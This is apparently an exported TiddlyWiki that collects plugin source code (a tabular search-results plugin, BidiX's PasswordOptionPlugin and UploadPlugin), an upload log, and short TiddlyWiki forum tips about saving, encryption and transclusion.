This plugin defines an alternative format for the SearchResults tiddler that is generated by the SearchOptionsPlugin . It presents the search results in tabular form numbering the rows; and showing the tiddler title, the size in bytes, and the tags.  It is ready to be used with the [[SortableGridPlugin|http://solo.dc3.com/tw/#SortableGridPlugin]] (check versions) so any column can be sorted; such as size in ascending or descending order.
<<<
!!!!!Installation
<<<
Import (or copy/paste) the following tiddlers into your ~TiddlyWiki:
* http://twhelp.tiddlyspot.com/#TwHelpSearchPlugin
*SearchOptionsPlugin from http://www.tiddlytools.com/#SearchOptionsPlugin
* Get more documentation here [[TWHelpSearchDoc]] or here:
* http://twhelp.tiddlyspot.com/#TwHelpSearchDoc
<<<
!!!!!Revision History
<<<

''2007.09.12  [1.0.6]''
Added overflow scroll to TWHelp-SearchResults for long titles or tags.
''2006.02.03  [1.0.5]''
Added facility for holding the results of multiple searches with tick box on dashboard.
''2006.02.02  [1.0.4]''
Added several options, cleaned up design.Planning one version basic and one with added options this is the added options version.
''2006.01.27  [1.0.3''
Added a column for the size of the text in each tiddler, this does not include the size of the title or tags.  Added overall TW statistics button requires TiddlerStatsPlugin.
''2006.01.23 [1.0.2 ]''
''a)''Changed function reportSearchResults(text,matches) to  window.reportSearchResults=function(text,matches)
''b)''Added a line so that Incremental Search is automatically disabled config.options.chkSearchIncremental=false; turn off key-by-key searching
''c)''Removed space inside parens. bgcolor(#fe8 )" to "bgcolor(#fe8)".  This
is what was causing IE to 'crap out' halfway through drawing the table
headings.
''d)''Added {{{config.options.chkSearchList=true;}}}
''2006.01.20 [1.0.1]''
ELS: reportSearchResults() definition moved to this Plugin Tweak tiddler and removed extranous code
''2006.01.19 [1.0.0]''
This is an adaptation of Eric Shulman's SearchOptionsPlugin. Adapted by MorrisGray to provide search results in table form. All the necessary controls for refining the search is provided within the table including slide-down access to AdvancedOptions.
<<<
!!!!!Code
***/

//{{{
if (config.options.chkSinglePageMode==undefined) config.options.chkSinglePageMode=false;
if (config.options.chkRegExpSearch==undefined) config.options.chkRegExpSearch=true;
if (config.options.chkSearchTitles==undefined) config.options.chkSearchTitles=false;
if (config.options.chkSearchText==undefined) config.options.chkSearchText=true;
if (config.options.chkSearchTags==undefined) config.options.chkSearchTags=false;
if (config.options.chkSearchTitlesFirst==undefined) config.options.chkSearchTitlesFirst=true;
if (config.options.chkSearchList==undefined) config.options.chkSearchList=true;
if (config.options.chkSearchIncremental==undefined) config.options.chkSearchIncremental=false;
if (config.options.chkToggleLinks==true) config.options.chkToggleLinks=false;
if (config.options.chkHoldSearches==undefined) config.options.chkHoldSearches=false;
if (config.options.chkSortTags==undefined) config.options.chkSortTags=false;

config.options.chkToggleLinks=false;
config.options.chkSinglePageMode=false;
config.options.chkHoldSearches=false;
config.options.chkSearchIncremental=false;
config.options.chkHttpReadOnly = false;
config.options.chkRegExpSearch=true;
config.options.chkSearchList=true;
config.options.chkToggleLinks=false;

config.shadowTiddlers.AdvancedOptions += "\n<<option chkHoldSearches>> Hold search results";


//}}}

//{{{

// Give the report a custom name
config.macros.search.reportTitle="TWHelp-SearchResults";

// Override default SearchOptionsPlugin formatting for SearchResults tiddler
window.reportSearchResults=function(text,matches)

{
  
        var title=config.macros.search.reportTitle
	config.macros.search.reportTitle;
      	var q = config.options.chkRegExpSearch ? "/" : "'";
        if (!config.options.chkHoldSearches)  body=""; 
      
body+="\n|>|bgcolor(#8af):@@color(#000080):''"+config.macros.search.successMsg.format([matches.length,q+"{{{"+text+"}}}"+q])+"''@@|bgcolor(#8af):  @@color(#A00000): SearchHelp@@ "+"|"+"\n";
        body+="|>|>|bgcolor(#E3FFE3):<<search>> <<option chkSearchTitles>> Titles <<option chkSearchText>> Text <<option chkSearchTags>>Tags <<option chkHoldSearches>> Hold |"+"\n";
        body+="\n|bgcolor(#8af):&nbsp;|bgcolor(#8af): @@color(#000080):sort by: ''Titles''@@ |bgcolor(#8af): @@color(#000080): ''Size'' (bytes)@@ |bgcolor(#8af): @@color(#000080): ''Tags''@@ |h";
	for(var t=0;t<matches.length;t++) 
        body+="\n"+"| "+(t+1)+"|[["+matches[t].title+"]]| "+matches[t].text.length+"|"+"@@"+matches[t].tags+"@@"+"|";
         body+="\n";

      


        

        
       


	// create/update the tiddler
	var tiddler=store.getTiddler(title); if (!tiddler) tiddler=new Tiddler();
	tiddler.set(title,body,config.options.txtUserName,(new Date()),"excludeLists excludeSearch killbookmark");
	store.addTiddler(tiddler); story.closeTiddler(title);

	// render tiddler
	var oldprompt=config.macros.search.label;
	config.macros.search.label="search again"; // use alternate "search again" label
        story.displayTiddler(null,title,1); // force refresh
	config.macros.search.label=oldprompt;	// restore standard search label
}

//}}}
#sidebar {max-width: none !important; }

Source: [[Two Firefox Sidebar Tweaks|http://www.ghacks.net/2007/10/20/two-firefox-sidebar-tweaks/]]
In any event, I've just completed another update to the plugin.  This
time, it corrects all of the refresh handling so the display is
automatically kept up-to-date, even after saving/uploading the
document.  This update also supports simultaneous display of multiple
instances of the unsaved changes output.

Get the update (v3.3.0) here:
   http://www.TiddlyTools.com/#UnsavedChangesPlugin 

Source: [[request - switch from reactive "TW has been saved" to proactive "remember to save TW" - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2628cd11a60e85a4/ce5c9b42e8d910db#ce5c9b42e8d910db]]
I found a small opportunity in the 'TiddlerEncryptionPlugin' - if you
make use of the DecryptAll macro, like I do, it will not prompt for a
password. It will only decrypt tiddlers which have the same encryption
prompt as the ones you have already decrypted in the current sesssion
(assuming you cache passwords).

If you have not decrypted any tiddlers by clicking a decrypt button OR
do not cache passwords, then the decryptAll button will have no effect
and will actually report a decryption failure on the first tiddler
that it fails to decrypt (which made my heart jump the first time I
saw it).

Now, I am not sure if I am going to treat this as a bug or a feature,
but my feeling is that it is a feature and makes life easier for me
when I get around to doing the password entry form.

I just thought I would let any users of this plugin know about this
'feature'.

...Lyall 

Source: [[Updated TiddlerEncryptionPlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e14f6877c557cd03]]
| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |
| 21/06/2008 12:45:12 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 27/06/2008 01:18:12 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html#GeneralScreenShot]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 28/06/2008 12:18:20 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 03/09/2008 19:29:39 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html#SnipsTree]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 07/09/2008 09:49:36 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html#GoogleChromeTips]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 16/09/2008 12:21:00 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 26/01/2009 19:25:26 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 23/02/2009 07:22:56 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . | ok |
| 09/04/2009 18:17:40 | MsgRay | [[sidesnips-try.html|file:///H:/SideSnip/sidesnips-try.html#ViewTabs]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . |
| 18/06/2009 01:25:16 | MsgRay | [[sidesnips-try.html|file:///F:/TiddlyWiki/SideSnips/sidesnips-try.html]] | [[store.cgi|http://sidesnips.tiddlyspot.com/store.cgi]] | . | [[index.html | http://sidesnips.tiddlyspot.com/index.html]] | . |
Try this:

Create a [[CookieJar]] tiddler, tagged with systemConfig, containing
the following lines of javascript code:
{{{
config.options.txtUploadStoreUrl="http://www.example.com/path/to/
store.php";
config.options.txtUploadDir="path/to/document/"
config.options.txtUploadFilename=null;
config.options.txtUploadBackupDir="backup"; 
}}}
Source: [[UploadOptions + multiple TWs - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/78acafdb0a2cf242]]
/***
|''Name:''|PasswordOptionPlugin|
|''Description:''|Extends TiddlyWiki options with non encrypted password option.|
|''Version:''|1.0.2|
|''Date:''|Apr 19, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#PasswordOptionPlugin|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0 (Beta 5)|
***/
//{{{
version.extensions.PasswordOptionPlugin = {
	major: 1, minor: 0, revision: 2, 
	date: new Date("Apr 19, 2007"),
	source: 'http://tiddlywiki.bidix.info/#PasswordOptionPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	license: '[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D]]',
	coreVersion: '2.2.0 (Beta 5)'
};

config.macros.option.passwordCheckboxLabel = "Save this password on this computer";
config.macros.option.passwordInputType = "password"; // password | text
setStylesheet(".pasOptionInput {width: 11em;}\n","passwordInputTypeStyle");

merge(config.macros.option.types, {
	'pas': {
		elementType: "input",
		valueField: "value",
		eventName: "onkeyup",
		className: "pasOptionInput",
		typeValue: config.macros.option.passwordInputType,
		create: function(place,type,opt,className,desc) {
			// password field
			config.macros.option.genericCreate(place,'pas',opt,className,desc);
			// checkbox linked with this password "save this password on this computer"
			config.macros.option.genericCreate(place,'chk','chk'+opt,className,desc);			
			// text savePasswordCheckboxLabel
			place.appendChild(document.createTextNode(config.macros.option.passwordCheckboxLabel));
		},
		onChange: config.macros.option.genericOnChange
	}
});

merge(config.optionHandlers['chk'], {
	get: function(name) {
		// is there an option linked with this chk ?
		var opt = name.substr(3);
		if (config.options[opt]) 
			saveOptionCookie(opt);
		return config.options[name] ? "true" : "false";
	}
});

merge(config.optionHandlers, {
	'pas': {
 		get: function(name) {
			if (config.options["chk"+name]) {
				return encodeCookie(config.options[name].toString());
			} else {
				return "";
			}
		},
		set: function(name,value) {config.options[name] = decodeCookie(value);}
	}
});

// need to reload options to load passwordOptions
loadOptionsCookie();

/*
if (!config.options['pasPassword'])
	config.options['pasPassword'] = '';

merge(config.optionsDesc,{
		pasPassword: "Test password"
	});
*/
//}}}

/***
|''Name:''|UploadPlugin|
|''Description:''|Save to web a TiddlyWiki|
|''Version:''|4.1.0|
|''Date:''|May 5, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#UploadPlugin|
|''Documentation:''|http://tiddlywiki.bidix.info/#UploadPluginDoc|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0 (#3125)|
|''Requires:''|PasswordOptionPlugin|
***/
//{{{
version.extensions.UploadPlugin = {
	major: 4, minor: 1, revision: 0,
	date: new Date("May 5, 2007"),
	source: 'http://tiddlywiki.bidix.info/#UploadPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	coreVersion: '2.2.0 (#3125)'
};

//
// Environment
//

if (!window.bidix) window.bidix = {}; // bidix namespace
bidix.debugMode = false;	// true to activate both in Plugin and UploadService
	
//
// Upload Macro
//

config.macros.upload = {
// default values
	defaultBackupDir: '',	//no backup
	defaultStoreScript: "store.php",
	defaultToFilename: "index.html",
	defaultUploadDir: ".",
	authenticateUser: true	// UploadService Authenticate User
};
	
config.macros.upload.label = {
	promptOption: "Save and Upload this TiddlyWiki with UploadOptions",
	promptParamMacro: "Save and Upload this TiddlyWiki in %0",
	saveLabel: "save to web", 
	saveToDisk: "save to disk",
	uploadLabel: "upload"	
};

config.macros.upload.messages = {
	noStoreUrl: "No store URL in parmeters or options",
	usernameOrPasswordMissing: "Username or password missing"
};

config.macros.upload.handler = function(place,macroName,params) {
	if (readOnly)
		return;
	var label;
	if (document.location.toString().substr(0,4) == "http") 
		label = this.label.saveLabel;
	else
		label = this.label.uploadLabel;
	var prompt;
	if (params[0]) {
		prompt = this.label.promptParamMacro.toString().format([this.destFile(params[0], 
			(params[1] ? params[1]:bidix.basename(window.location.toString())), params[3])]);
	} else {
		prompt = this.label.promptOption;
	}
	createTiddlyButton(place, label, prompt, function() {config.macros.upload.action(params);}, null, null, this.accessKey);
};

config.macros.upload.action = function(params)
{
		// for missing macro parameter set value from options
		var storeUrl = params[0] ? params[0] : config.options.txtUploadStoreUrl;
		var toFilename = params[1] ? params[1] : config.options.txtUploadFilename;
		var backupDir = params[2] ? params[2] : config.options.txtUploadBackupDir;
		var uploadDir = params[3] ? params[3] : config.options.txtUploadDir;
		var username = params[4] ? params[4] : config.options.txtUploadUserName;
		var password = config.options.pasUploadPassword; // for security reason no password as macro parameter	
		// for still missing parameter set default value
		if ((!storeUrl) && (document.location.toString().substr(0,4) == "http")) 
			storeUrl = bidix.dirname(document.location.toString())+'/'+config.macros.upload.defaultStoreScript;
		if (storeUrl.substr(0,4) != "http")
			storeUrl = bidix.dirname(document.location.toString()) +'/'+ storeUrl;
		if (!toFilename)
			toFilename = bidix.basename(window.location.toString());
		if (!toFilename)
			toFilename = config.macros.upload.defaultToFilename;
		if (!uploadDir)
			uploadDir = config.macros.upload.defaultUploadDir;
		if (!backupDir)
			backupDir = config.macros.upload.defaultBackupDir;
		// report error if still missing
		if (!storeUrl) {
			alert(config.macros.upload.messages.noStoreUrl);
			clearMessage();
			return false;
		}
		if (config.macros.upload.authenticateUser && (!username || !password)) {
			alert(config.macros.upload.messages.usernameOrPasswordMissing);
			clearMessage();
			return false;
		}
		bidix.upload.uploadChanges(false,null,storeUrl, toFilename, uploadDir, backupDir, username, password); 
		return false; 
};

config.macros.upload.destFile = function(storeUrl, toFilename, uploadDir) 
{
	if (!storeUrl)
		return null;
		var dest = bidix.dirname(storeUrl);
		if (uploadDir && uploadDir != '.')
			dest = dest + '/' + uploadDir;
		dest = dest + '/' + toFilename;
	return dest;
};

//
// uploadOptions Macro
//

config.macros.uploadOptions = {
	handler: function(place,macroName,params) {
		var wizard = new Wizard();
		wizard.createWizard(place,this.wizardTitle);
		wizard.addStep(this.step1Title,this.step1Html);
		var markList = wizard.getElement("markList");
		var listWrapper = document.createElement("div");
		markList.parentNode.insertBefore(listWrapper,markList);
		wizard.setValue("listWrapper",listWrapper);
		this.refreshOptions(listWrapper,false);
		var uploadCaption;
		if (document.location.toString().substr(0,4) == "http") 
			uploadCaption = config.macros.upload.label.saveLabel;
		else
			uploadCaption = config.macros.upload.label.uploadLabel;
		
		wizard.setButtons([
				{caption: uploadCaption, tooltip: config.macros.upload.label.promptOption, 
					onClick: config.macros.upload.action},
				{caption: this.cancelButton, tooltip: this.cancelButtonPrompt, onClick: this.onCancel}
				
			]);
	},
	refreshOptions: function(listWrapper) {
		var uploadOpts = [
			"txtUploadUserName",
			"pasUploadPassword",
			"txtUploadStoreUrl",
			"txtUploadDir",
			"txtUploadFilename",
			"txtUploadBackupDir",
			"chkUploadLog",
			"txtUploadLogMaxLine",
			]
		var opts = [];
		for(i=0; i<uploadOpts.length; i++) {
			var opt = {};
			opts.push()
			opt.option = "";
			n = uploadOpts[i];
			opt.name = n;
			opt.lowlight = !config.optionsDesc[n];
			opt.description = opt.lowlight ? this.unknownDescription : config.optionsDesc[n];
			opts.push(opt);
		}
		var listview = ListView.create(listWrapper,opts,this.listViewTemplate);
		for(n=0; n<opts.length; n++) {
			var type = opts[n].name.substr(0,3);
			var h = config.macros.option.types[type];
			if (h && h.create) {
				h.create(opts[n].colElements['option'],type,opts[n].name,opts[n].name,"no");
			}
		}
		
	},
	onCancel: function(e)
	{
		backstage.switchTab(null);
		return false;
	},
	
	wizardTitle: "Upload with options",
	step1Title: "These options are saved in cookies in your browser",
	step1Html: "<input type='hidden' name='markList'></input><br>",
	cancelButton: "Cancel",
	cancelButtonPrompt: "Cancel prompt",
	listViewTemplate: {
		columns: [
			{name: 'Description', field: 'description', title: "Description", type: 'WikiText'},
			{name: 'Option', field: 'option', title: "Option", type: 'String'},
			{name: 'Name', field: 'name', title: "Name", type: 'String'}
			],
		rowClasses: [
			{className: 'lowlight', field: 'lowlight'} 
			]}
}

//
// upload functions
//

if (!bidix.upload) bidix.upload = {};

if (!bidix.upload.messages) bidix.upload.messages = {
	//from saving
	invalidFileError: "The original file '%0' does not appear to be a valid TiddlyWiki",
	backupSaved: "Backup saved",
	backupFailed: "Failed to upload backup file",
	rssSaved: "RSS feed uploaded",
	rssFailed: "Failed to upload RSS feed file",
	emptySaved: "Empty template uploaded",
	emptyFailed: "Failed to upload empty template file",
	mainSaved: "Main TiddlyWiki file uploaded",
	mainFailed: "Failed to upload main TiddlyWiki file. Your changes have not been saved",
	//specific upload
	loadOriginalHttpPostError: "Can't get original file",
	aboutToSaveOnHttpPost: 'About to upload on %0 ...',
	storePhpNotFound: "The store script '%0' was not found."
};

bidix.upload.uploadChanges = function(onlyIfDirty,tiddlers,storeUrl,toFilename,uploadDir,backupDir,username,password)
{
	var callback = function(status,uploadParams,original,url,xhr) {
		if (!status) {
			displayMessage(bidix.upload.messages.loadOriginalHttpPostError);
			return;
		}
		if (bidix.debugMode) 
			alert(original.substr(0,500)+"\n...");
		// Locate the storeArea div's 
		var posDiv = locateStoreArea(original);
		if((posDiv[0] == -1) || (posDiv[1] == -1)) {
			alert(config.messages.invalidFileError.format([localPath]));
			return;
		}
		bidix.upload.uploadRss(uploadParams,original,posDiv);
	};
	
	if(onlyIfDirty && !store.isDirty())
		return;
	clearMessage();
	// save on localdisk ?
	if (document.location.toString().substr(0,4) == "file") {
		var path = document.location.toString();
		var localPath = getLocalPath(path);
		saveChanges();
	}
	// get original
	var uploadParams = Array(storeUrl,toFilename,uploadDir,backupDir,username,password);
	var originalPath = document.location.toString();
	// If url is a directory : add index.html
	if (originalPath.charAt(originalPath.length-1) == "/")
		originalPath = originalPath + "index.html";
	var dest = config.macros.upload.destFile(storeUrl,toFilename,uploadDir);
	var log = new bidix.UploadLog();
	log.startUpload(storeUrl, dest, uploadDir,  backupDir);
	displayMessage(bidix.upload.messages.aboutToSaveOnHttpPost.format([dest]));
	if (bidix.debugMode) 
		alert("about to execute Http - GET on "+originalPath);
	var r = doHttp("GET",originalPath,null,null,null,null,callback,uploadParams,null);
	if (typeof r == "string")
		displayMessage(r);
	return r;
};

bidix.upload.uploadRss = function(uploadParams,original,posDiv) 
{
	var callback = function(status,params,responseText,url,xhr) {
		if(status) {
			var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
			displayMessage(bidix.upload.messages.rssSaved,bidix.dirname(url)+'/'+destfile);
			bidix.upload.uploadMain(params[0],params[1],params[2]);
		} else {
			displayMessage(bidix.upload.messages.rssFailed);			
		}
	};
	// do uploadRss
	if(config.options.chkGenerateAnRssFeed) {
		var rssPath = uploadParams[1].substr(0,uploadParams[1].lastIndexOf(".")) + ".xml";
		var rssUploadParams = Array(uploadParams[0],rssPath,uploadParams[2],'',uploadParams[4],uploadParams[5]);
		bidix.upload.httpUpload(rssUploadParams,convertUnicodeToUTF8(generateRss()),callback,Array(uploadParams,original,posDiv));
	} else {
		bidix.upload.uploadMain(uploadParams,original,posDiv);
	}
};

bidix.upload.uploadMain = function(uploadParams,original,posDiv) 
{
	var callback = function(status,params,responseText,url,xhr) {
		var log = new bidix.UploadLog();
		if(status) {
			// if backupDir specified
			if ((params[3]) && (responseText.indexOf("backupfile:") > -1))  {
				var backupfile = responseText.substring(responseText.indexOf("backupfile:")+11,responseText.indexOf("\n", responseText.indexOf("backupfile:")));
				displayMessage(bidix.upload.messages.backupSaved,bidix.dirname(url)+'/'+backupfile);
			}
			var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
			displayMessage(bidix.upload.messages.mainSaved,bidix.dirname(url)+'/'+destfile);
			store.setDirty(false);
			log.endUpload("ok");
		} else {
			alert(bidix.upload.messages.mainFailed);
			displayMessage(bidix.upload.messages.mainFailed);
			log.endUpload("failed");			
		}
	};
	// do uploadMain
	var revised = bidix.upload.updateOriginal(original,posDiv);
	bidix.upload.httpUpload(uploadParams,revised,callback,uploadParams);
};

bidix.upload.httpUpload = function(uploadParams,data,callback,params)
{
	var localCallback = function(status,params,responseText,url,xhr) {
		url = (url.indexOf("nocache=") < 0 ? url : url.substring(0,url.indexOf("nocache=")-1));
		if (xhr.status == httpStatus.NotFound)
			alert(bidix.upload.messages.storePhpNotFound.format([url]));
		if ((bidix.debugMode) || (responseText.indexOf("Debug mode") >= 0 )) {
			alert(responseText);
			if (responseText.indexOf("Debug mode") >= 0 )
				responseText = responseText.substring(responseText.indexOf("\n\n")+2);
		} else if (responseText.charAt(0) != '0') 
			alert(responseText);
		if (responseText.charAt(0) != '0')
			status = null;
		callback(status,params,responseText,url,xhr);
	};
	// do httpUpload
	var boundary = "---------------------------"+"AaB03x";	
	var uploadFormName = "UploadPlugin";
	// compose headers data
	var sheader = "";
	sheader += "--" + boundary + "\r\nContent-disposition: form-data; name=\"";
	sheader += uploadFormName +"\"\r\n\r\n";
	sheader += "backupDir="+uploadParams[3] +
				";user=" + uploadParams[4] +
				";password=" + uploadParams[5] +
				";uploaddir=" + uploadParams[2];
	if (bidix.debugMode)
		sheader += ";debug=1";
	sheader += ";;\r\n"; 
	sheader += "\r\n" + "--" + boundary + "\r\n";
	sheader += "Content-disposition: form-data; name=\"userfile\"; filename=\""+uploadParams[1]+"\"\r\n";
	sheader += "Content-Type: text/html;charset=UTF-8" + "\r\n";
	sheader += "Content-Length: " + data.length + "\r\n\r\n";
	// compose trailer data
	var strailer = new String();
	strailer = "\r\n--" + boundary + "--\r\n";
	data = sheader + data + strailer;
	if (bidix.debugMode) alert("about to execute Http - POST on "+uploadParams[0]+"\n with \n"+data.substr(0,500)+ " ... ");
	var r = doHttp("POST",uploadParams[0],data,"multipart/form-data; boundary="+boundary,uploadParams[4],uploadParams[5],localCallback,params,null);
	if (typeof r == "string")
		displayMessage(r);
	return r;
};

// same as Saving's updateOriginal but without convertUnicodeToUTF8 calls
bidix.upload.updateOriginal = function(original, posDiv)
{
	if (!posDiv)
		posDiv = locateStoreArea(original);
	if((posDiv[0] == -1) || (posDiv[1] == -1)) {
		alert(config.messages.invalidFileError.format([localPath]));
		return;
	}
	var revised = original.substr(0,posDiv[0] + startSaveArea.length) + "\n" +
				store.allTiddlersAsHtml() + "\n" +
				original.substr(posDiv[1]);
	var newSiteTitle = getPageTitle().htmlEncode();
	revised = revised.replaceChunk("<title"+">","</title"+">"," " + newSiteTitle + " ");
	revised = updateMarkupBlock(revised,"PRE-HEAD","MarkupPreHead");
	revised = updateMarkupBlock(revised,"POST-HEAD","MarkupPostHead");
	revised = updateMarkupBlock(revised,"PRE-BODY","MarkupPreBody");
	revised = updateMarkupBlock(revised,"POST-SCRIPT","MarkupPostBody");
	return revised;
};

//
// UploadLog
// 
// config.options.chkUploadLog :
//		false : no logging
//		true : logging
// config.options.txtUploadLogMaxLine :
//		-1 : no limit
//      0 :  no Log lines but UploadLog is still in place
//		n :  the last n lines are only kept
//		NaN : no limit (-1)

bidix.UploadLog = function() {
	if (!config.options.chkUploadLog) 
		return; // this.tiddler = null
	this.tiddler = store.getTiddler("UploadLog");
	if (!this.tiddler) {
		this.tiddler = new Tiddler();
		this.tiddler.title = "UploadLog";
		this.tiddler.text = "| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |";
		this.tiddler.created = new Date();
		this.tiddler.modifier = config.options.txtUserName;
		this.tiddler.modified = new Date();
		store.addTiddler(this.tiddler);
	}
	return this;
};

bidix.UploadLog.prototype.addText = function(text) {
	if (!this.tiddler)
		return;
	// retrieve maxLine when we need it
	var maxLine = parseInt(config.options.txtUploadLogMaxLine,10);
	if (isNaN(maxLine))
		maxLine = -1;
	// add text
	if (maxLine != 0) 
		this.tiddler.text = this.tiddler.text + text;
	// Trunck to maxLine
	if (maxLine >= 0) {
		var textArray = this.tiddler.text.split('\n');
		if (textArray.length > maxLine + 1)
			textArray.splice(1,textArray.length-1-maxLine);
			this.tiddler.text = textArray.join('\n');		
	}
	// update tiddler fields
	this.tiddler.modifier = config.options.txtUserName;
	this.tiddler.modified = new Date();
	store.addTiddler(this.tiddler);
	// refresh and notifiy for immediate update
	story.refreshTiddler(this.tiddler.title);
	store.notify(this.tiddler.title, true);
};

bidix.UploadLog.prototype.startUpload = function(storeUrl, toFilename, uploadDir,  backupDir) {
	if (!this.tiddler)
		return;
	var now = new Date();
	var text = "\n| ";
	var filename = bidix.basename(document.location.toString());
	if (!filename) filename = '/';
	text += now.formatString("0DD/0MM/YYYY 0hh:0mm:0ss") +" | ";
	text += config.options.txtUserName + " | ";
	text += "[["+filename+"|"+location + "]] |";
	text += " [[" + bidix.basename(storeUrl) + "|" + storeUrl + "]] | ";
	text += uploadDir + " | ";
	text += "[[" + bidix.basename(toFilename) + " | " +toFilename + "]] | ";
	text += backupDir + " |";
	this.addText(text);
};

bidix.UploadLog.prototype.endUpload = function(status) {
	if (!this.tiddler)
		return;
	this.addText(" "+status+" |");
};

//
// Utilities
// 

bidix.checkPlugin = function(plugin, major, minor, revision) {
	var ext = version.extensions[plugin];
	if (!
		(ext  && 
			((ext.major > major) || 
			((ext.major == major) && (ext.minor > minor))  ||
			((ext.major == major) && (ext.minor == minor) && (ext.revision >= revision))))) {
			// write error in PluginManager
			if (pluginInfo)
				pluginInfo.log.push("Requires " + plugin + " " + major + "." + minor + "." + revision);
			eval(plugin); // generate an error : "Error: ReferenceError: xxxx is not defined"
	}
};

bidix.dirname = function(filePath) {
	if (!filePath) 
		return;
	var lastpos;
	if ((lastpos = filePath.lastIndexOf("/")) != -1) {
		return filePath.substring(0, lastpos);
	} else {
		return filePath.substring(0, filePath.lastIndexOf("\\"));
	}
};

bidix.basename = function(filePath) {
	if (!filePath) 
		return;
	var lastpos;
	if ((lastpos = filePath.lastIndexOf("#")) != -1) 
		filePath = filePath.substring(0, lastpos);
	if ((lastpos = filePath.lastIndexOf("/")) != -1) {
		return filePath.substring(lastpos + 1);
	} else
		return filePath.substring(filePath.lastIndexOf("\\")+1);
};

bidix.initOption = function(name,value) {
	if (!config.options[name])
		config.options[name] = value;
};

//
// Initializations
//

// require PasswordOptionPlugin 1.0.1 or better
bidix.checkPlugin("PasswordOptionPlugin", 1, 0, 1);

// styleSheet
setStylesheet('.txtUploadStoreUrl, .txtUploadBackupDir, .txtUploadDir {width: 22em;}',"uploadPluginStyles");

//optionsDesc
merge(config.optionsDesc,{
	txtUploadStoreUrl: "Url of the UploadService script (default: store.php)",
	txtUploadFilename: "Filename of the uploaded file (default: in index.html)",
	txtUploadDir: "Relative Directory where to store the file (default: . (downloadService directory))",
	txtUploadBackupDir: "Relative Directory where to backup the file. If empty no backup. (default: ''(empty))",
	txtUploadUserName: "Upload Username",
	pasUploadPassword: "Upload Password",
	chkUploadLog: "do Logging in UploadLog (default: true)",
	txtUploadLogMaxLine: "Maximum of lines in UploadLog (default: 10)"
});

// Options Initializations
bidix.initOption('txtUploadStoreUrl','');
bidix.initOption('txtUploadFilename','');
bidix.initOption('txtUploadDir','');
bidix.initOption('txtUploadBackupDir','');
bidix.initOption('txtUploadUserName','');
bidix.initOption('pasUploadPassword','');
bidix.initOption('chkUploadLog',true);
bidix.initOption('txtUploadLogMaxLine','10');


/* don't want this for tiddlyspot sites

// Backstage
merge(config.tasks,{
	uploadOptions: {text: "upload", tooltip: "Change UploadOptions and Upload", content: '<<uploadOptions>>'}
});
config.backstageTasks.push("uploadOptions");

*/


//}}}


The action performed by the {{{<<tiddler>>}}} macro is called
"transclusion"... for it to be considered "redirection", you would
have to actually end up viewing {{{TiddlerC}}} *in place of* {{{TiddlerB}}}.
Nonetheless, use of transclusion as a "poor man's alternative" to
redirection is still very handy..

...and, as you requested, here's an even more powerful trick you can
do with the {{{<<tiddler>>}}} macro...

First, write something like:
   {{{<<tiddler SomeTiddler with: param1 param2 param3 ...>>}}}

Then, create {{{[[SomeTiddler]]}}} with some content that includes special
sequences "$1" through "$9" embedded in the source content.  These are
used as "substitution markers" automatically insert the corresponding
values from param1, param2, param3,... when the tiddler is transcluded
via the above macro.

One really convenient use of this "tiddler with params" syntax is to
quickly define some pre-formatted tiddler content that can then be
easily transcluded into other tiddlers as a sort of "instant
macro"...

For example, suppose we have a directory of photos containing full-
sized JPG files, each with a corresponding "thumbnail" image stored as
